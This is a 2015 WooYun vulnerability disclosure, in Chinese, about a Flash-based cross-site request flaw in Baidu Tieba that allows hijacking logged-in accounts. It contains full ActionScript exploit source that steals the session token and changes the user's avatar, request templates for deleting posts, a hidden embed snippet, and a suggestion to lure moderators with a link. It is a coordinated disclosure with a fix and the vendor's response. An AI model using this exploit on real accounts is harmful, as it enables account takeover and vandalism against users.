当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110065

漏洞标题:百度贴吧XSS漏洞可控制已登录的贴吧账号(删帖、修改资料等)

相关厂商:百度

漏洞作者: EtherDream

提交时间:2015-04-24 10:52

修复时间:2015-06-08 12:58

公开时间:2015-06-08 12:58

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-24: 细节已通知厂商并且等待厂商处理中
2015-04-24: 厂商已经确认,细节仅向厂商公开
2015-05-04: 细节向核心白帽子及相关领域专家公开
2015-05-14: 细节向普通白帽子公开
2015-05-24: 细节向实习白帽子公开
2015-06-08: 细节向公众公开

简要描述:

flash 反射提权。原理 http://drops.wooyun.org/papers/5732,这次演示的是第3个Demo的方式。

详细说明:

### 原理
问题 SWF:http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf
其中 baidu.vote.DataManager.requestPageData() 可以发请求。
请求地址没写死,从 baidu.vote.enumerate.Constants.URL_VOTE_DETAIL 读取。(这个程序猿也够弱的,居然是用 var 定义的。如果是 const 那还改不了)
每次请求前修改这个伪常量,就可发起跨站请求。
同时,数据返回时调用了 PostVoteResult.fromString(),其中使用 JSON 解码。之前文中介绍过,即使不是 JSON 格式的数据,也可以通过全局异常捕获,接住解码时的错误,从中获取页面信息。
### 利用
http://tieba.baidu.com/ 可获取登录的账号名。
http://tieba.baidu.com/home/profile?un={nick} 可获取 bdstoken、portrait
删帖:
POST http://tieba.baidu.com/f/commit/post/delete
tbs={页面中可获取}
kw={吧名}
tid={帖子 id}
user_name={nick}
pid={页面中可获取}
delete_my_post=1
delete_my_thread=0
is_vipdel=1
is_finf=false
修改头像
http://himg.baidu.com/sys/corpupload?callback=A&coordX=0&coordY=0&coordW=200&coordH=200&psign={portrait}&picId=21751076141&bdstoken={bdstoken}
...
贴吧大部分接口都没验证 referer,所有都能成功。
由于发帖需要验证码,搞成蠕虫有点麻烦。但控制了吧主账号的话,还是可以通过 HTTP 隧道的方式,人工发帖。(给吧主发个超链接,里面放些有趣的东西,让他多停留一会)

漏洞证明:

这里给个自动修改百度用户头像的 Demo:
http://www.etherdream.com/hack/tieba-joke/exp.swf
直接访问,或嵌套在任意页面:
<embed src="//t.cn/RAY0j61" allowScriptAccess="always" style="position:absolute; top:-999px;">
即可修改已登录的百度账号头像。

package {
import flash.display.*;
import flash.events.*;
import flash.net.*;
import flash.system.*;
import flash.utils.*;

public class exp extends Sprite {
private static const PATH:String =
'baidu.vote.DataManager'

private static const URL:String =
'http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf'
private var clsExp:*;
private var clsRes:*;

public function exp() {
Security.allowDomain('*');
var ld:Loader = new Loader();
ld.load(new URLRequest(URL));
addChild(ld);
var tid:uint = setInterval(function() : void {
try {
clsExp = ld.contentLoaderInfo.applicationDomain.getDefinition(PATH);
clsRes= ld.contentLoaderInfo.applicationDomain.getDefinition('baidu.vote.enumerate.Constants');
} catch(e:Error) {
return;
}
clearInterval(tid);

ready();
}, 100);
}
private function load(url:String) : void {
var obj:* = clsExp.getInstance();
obj.requestPageData({
'r': 1,
'voteId': 1,
'tn': 1
});
clsRes.URL_VOTE_DETAIL = url + '#';
obj.requestVoteDetail();
}

private function ready() : void {
loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
complete(e.error.text);
});
load('http://tieba.baidu.com/');
}


private var stat:int = 0;
private var nick:String;
private var bdstoken:String, portrait:String;
private function complete(data:String) : void {
var arr:Array;
switch (stat) {
case 0:
// get nick (from main page)
arr = data.match(/"name": "([^"]+)/);
if (arr) nick = arr[1];
if (!nick) {
trace('fail get nick');
return;
}
trace('nick:', nick);
load('http://tieba.baidu.com/home/profile?un=' + nick);
break;

case 1:
// get token (from profile page)
arr = data.match(/\[PageData, '([^']+)/);
if (arr) bdstoken = arr[1];
if (!bdstoken) {
trace('fail get bdstoken');
return;
}
trace('bdstoken:', bdstoken);
// get portrait
arr = data.match(/portrait": "([^"]+)/);
if (arr) portrait = arr[1];
if (!portrait) {
trace('fail get portrait');
return;
}
trace('portrait:', portrait);

// new avatar
var url:String = 'http://himg.baidu.com/sys/corpupload?callback=A&coordX=0&coordY=0&coordW=200&coordH=200&psign=' + portrait + '&picId=21751076141&bdstoken=' + bdstoken;
sendToURL(new URLRequest(url));
break;
}
stat++;
}
}
}


屏幕快照 2015-04-24 上午10.27.14.png

修复方案:

验证重要请求的 referer

版权声明:转载请注明来源 EtherDream@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-24 12:57

厂商回复:

感谢关注,已提交相关部门处理

最新状态:

暂无